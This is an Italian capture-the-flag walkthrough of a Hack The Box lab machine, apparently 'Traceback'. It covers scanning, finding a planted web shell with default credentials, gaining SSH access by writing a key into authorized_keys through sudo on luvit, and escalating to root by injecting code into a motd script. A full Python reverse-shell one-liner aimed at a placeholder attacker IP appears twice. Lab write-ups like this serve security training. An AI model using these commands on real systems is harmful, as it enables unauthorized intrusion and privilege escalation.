NMAP
Eseguo una scansione nmap di tutte le porte con il seguente comando:
nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.181
Successivamente lancio una scansione mirata sulle porte aperte come segue:
nmap -sV -sC p80,22 10.10.10.181
Dalla scansione risulta essere aperta la porta 80, do un’occhiata al sito web.

OSINT
Guardando il sito sembra che abbia subito un deface, l’hacker lascia un messaggio dicendo che ha lasciato una backdoor da qualche parte, do un’occhiata al sorgente della pagina.

L’hacker lascia un commento html <!–Some of the best web shells that you might need 😉 –>, è chiaro che ha piazzato una web shell da qualche parte, si tratta di scoprire quale ha utilizzato per potera visualizzare nel browser. Provo a googlare il commento:

Tra i risultati c’è un repository che riporta esattamente la frase che l’hacker ha lasciato tra i tag html, decido di clonare il repo e creare una lista dei file che ci sono al suo interno.

Di seguito il link al repository:
https://github.com/TheBinitGhimire/Web-Shells

Clone del repository:

Creo la lista dei file:


Infine lancio dirb con la lista creata per capire qual è la webshell giusta che l’hacker ha lasciato come backdoor.

Ottimo! Si tratta di smevk.php, do un’occhiata:

E’ necessario loggarsi per poter utilizzare la shell, solitamente le password sono proprio scritte nel codice sorgente, sperando che l’hacker non le abbia cambiate.

Provo ad utilizzare admin:admin e riesco ad entrare all’interno della backdoor.

A questo punto, dal momento che mi risulta un po’ scomodo utilizzare questa interfaccia web per enumerare la macchina, decido di provare a prendere una reverse shell. Utilizzo la porta 80 perché solitamente non è bloccata dai firewall.
Nel form execute della webshell è possible eseguire comandi. Dopo essermi accertato della presenza di python (which python) eseguo il seguente comando:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MIOIP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Ottengo la reverse con successo:
USER FLAG
A questo punto inizio ad enumerare la macchina, in particolare la cartella dell’utente corrente webadmin.

Nel file note.txt c’è un messaggio di sysadmin dove che riporta:
I have left this tool to practice Lua. Contact me if you have any question.
Di quale tool sta parlando? All’interno della directory vedo che c’è un file chiamato luvit, dopo essermi accertato che si tratta di un eseguibile linux con il comando file luvit
provo ad eseguirlo:

Si tratta di un software in grado di eseguire script lua. Guardo meglio e noto che il software in questione appartiene a sysadmin, interessante:

E’ un indizio importante perché probabilmente, dal momento che tutti gli altri file appartengono a webadmin, probabilente è la strada da seguire. Decido di controllare i privilegi di webadmin, l’utente corrente:
sudo -l

webadmin può lanciare luvit nel contesto di sysadmin!
A questo punto faccio una ricerca su lua, dal momento che luvit può essere eseguito come sysadmin, probabilmente posso aggiungere una chiave alle authorized_keys di ssh di sysadmin in maniera da potermi autenticare con una chiave privata, provo. Genero la coppia di chiavi impostando password come password:

Dopo aver visto come leggere/scrivere file con lua preparo uno script come segue:

lo script apre il file authorized_keys di sysadmin in append mode (a – aggiunge al file senza sovrascrivere), ci scrive dentro la mia chiave publica id_rsa.pub appena generata con ssh-keygen e chiude il file.
Scarico lo script all’interno della macchina dopo aver lanciato un webserver nella cartella dov’è situato il mio script sulla macchina kali:


Aggiungo la mia chiave id_rsa.pub anche ad authorized_keys di webadmin in maniera da potermi riconnetere facilmene con ssh se perdo la shell.
Lancio lo script su traceback:

Lo script sembra essere stato eseguito senza errori, provo a connettermi come sysadmin attraverso ssh.
Notare il messaggio “Welcome to Xh4H land”

Nella cartella dell’utente prendo la user flag:

PRIVILEGE ESCALATION
Dopo varie ricerche all’interno di file e cartelle ed enumeration vari, scarico all’interno della macchina pspy un tool che permette di monitorare i processi in esecuzione in realtime.
Noto che c’è un comando cp che viene eseguito ad intervalli regolari e copia tutto il contenuto della cartella .update-motd.d situata in /var/backups nella sua destinazione originale, all’interno di /etc.

Motd si occupa di mostrare un messaggio di benvenuto all’utente che si connette alla macchina attraverso ssh.
Di seguito il contenuto della cartella che viene copiata copiata:

Ispezionando il contenuto dei file noto che il file 00-header contiene il messaggio che ho visualizzato quando mi sono connesso con ssh:

Vedendo i permessi dei file all’interno della cartella /etc/update-motd.d mi rendo conto che sysadmin può modificare i file.
Dal momento che 00-header viene eseguito con /bin/sh e il messaggio viene mostrato quando ci si connette con ssh, l’idea è quella di inserire nel file il solito comando python per la reverse shell e triggerarne l’esecuzione connettendomi all’ssh come webadmin (con l’ausilio della chiave che avevo inserito in precedenza dentro authorized_keys).
Metto netcat in ascolto sulla porta 80 (nc -lnvp 80) e scrivo il comando all’interno del file 00-header, lo metto sotto echo. Devo fare veloce perché il file viene ripristinato ad intervalli regolari.
Apro il file:
nano 00-header
E incollo quanto segue:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MIOIP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Mi connetto come webadmin attraverso ssh:

E ottengo la reverse:

Dal momento che la shell mi da problemi durante la digitazione, inserisco anche qui la chiave id_rsa.pub in authorized_keys e mi riconnetto con ssh.
